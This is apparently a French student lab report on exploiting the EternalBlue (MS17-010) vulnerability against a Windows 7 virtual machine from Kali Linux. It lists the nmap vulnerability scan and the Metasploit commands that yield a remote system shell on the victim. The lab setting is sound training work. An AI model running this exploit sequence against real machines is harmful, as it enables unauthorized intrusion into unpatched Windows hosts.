
 

 

  

[Tapez le résumé du document ici. Il s’agit 

généralement d’une courte synthèse du 

document.] 
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Introduction : explication faille eternablue : 

 

 

 

 

Déroulement du TP : Machines virtuelles fournies : -Machine victime W7 Pro  

             -Distribution Kali Linux 

 

0 – Adressage IP Machine attaquant 

1 - Ping vers IP Victime 

2 -  Se connecter en tant que root 

3 – Scan vulnérabilité système exploitation victime 

4 –  

 

 

 

 

Se connecter en tant que root,  scan la machine victime (penser a Ping la machine victime pour voir si 

elle est allumée) Port et faille d’exploitation (pour hacker)  

Switch 

W7 Pro victime 
Ordinateur 

Attaquant Kali 
Linux 



Ouvrir l’invite de commande et lancer cette commande 

- Nmap –A –sV –script vuln 192.168.0.212 

« nmap » sert à chercher les ports ouvert  

« vuln  » cherche les faille de systèmes d’exploitation 

 ‘’Hosts script results ‘’ montre les failles trouvé. A partir du moment où il dit Vulnerable, alors on 

pourra l’exploiter  

Après cela on peut s’occuper de la faille, lancer la console d’exploitation  

- msfconsole 

On veut maintenant entrer dans la cible  

- search ms17-010  

(en faisant cela il affiche les solutions pour exploiter au mieux la faille ) Tout ce qui il a marqué en 

normale sa fonctionne (mais faudra lancer des lignes de codes) si il affiche average en 2 secondes 

c’est plié  

- use 0  

( 0 car c’est le raccourci de la ligne de commande pour faire la commande ) a partir de la il faut 

entrer l’adresse de celui qu’ont veux hacker  

- set RHOST 192.168.0.212 

 

Ensuite il faut vérifier l’adresse  

 

- show options  

LHOST ( c’est l’adresse de KALI )  

- run  

cette commande lance la ligne de commande ( si il affiche WIN c’est que on a réussi ) 

- shell 

 

pour utiliser l’invite de commande de la machine victime  

 

- cd admin / cd Desktop / cd  

 

- exit ( pour revenir au terminal Linux ) 

 

 

 

Une fois après avoir installé et paramétrer sa machine Linux Kali,  

 



la première étape est de tester le Ping avec « ping 8.8.8.8 » et Ping la machine victime 

qui en l’occurrence est W7 PRO avec un Ping « ping 192.168.0.212 »  

 

 
 

 

- La deuxième étape est de Scanner les différentes vulnérabilités de la machine victime 

avec la commande « nmap –A –sV –script vuln 192.168.0.212»   

 

 

 

Cette commande permet de chercher les ports ouverts et les failles des systèmes d’exploitation.  

 

 

 

 

 

 

 



La troisième étape : est le lancement du script et l’analyse de la réponse,  

Pour se faire il suffit de lancer la commande  « msfconsole » voilà ce qu’affiche la commande :  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Avec l’image ci-dessous on peut observer qu’il y a 2196 exploits – 1162 auxiliary – 400 post 

La cinquième étape : consiste à lancer la procédure  d’exploitation de la machine victime  

Pour se faire il faut entrer la commande dans le terminal linux : « search ms17-010 » voilà ce que la 

commande affiche : 

 

 

 

 

 

En faisant cela il affiche les solutions pour exploiter au mieux la faille) Tout ce qui il a marqué en 

normale sa fonctionne (mais faudra lancer des lignes de codes) si il affiche average en 2 secondes 

c’est plié 



Une fois cela fait il faut lancer 0 car c’est le raccourci de la commande eternal blue, on lance donc la 

commande « use 0 »  

 

 

Une fois avoir lancé la commande il faut renseigner l’adresse IP de la machine victime avec la 

commande « set RHOST 192.168.0.212 » la commande affiche ceci : 

 

Pour vérifier l’adresse IP de kali linux au cas ou il faut entrer la commande « show options 

» 

 

Dans ce screen on peut donc voir l’IP de la machine  avec LHOSTS : 192.168.0.196 

cd.. (jusqu’à aller dans le disque C > cd users > cd admin > cd BTS > dir 

 

Et enfin pour lancer l’attaque il suffit juste de lancer la commande « run » ! l’attaque peut prendre 

un peu de temp en fonction de la puissance matérielle de la machine de Kali Linux  

 



La commande affiche ceci : 

 

On peut voir qu’elle affiche WIN, cela veut donc dire que l’attaque a réussi, on lance donc la 

commande « shell » qui permet d’utiliser l’invite de commande de la machine victime (donc la W7 

Pro ). 

 

 

 

 

Sur le screen on peut bien apercevoir que on est en « C:\Windows\system32> » On est donc bien 

dans la machine victime !  

 

 

Nous allons donc maintenant procéder a plusieurs attaque précise, la première sera de faire une 

copie d’écran de la machine victime  


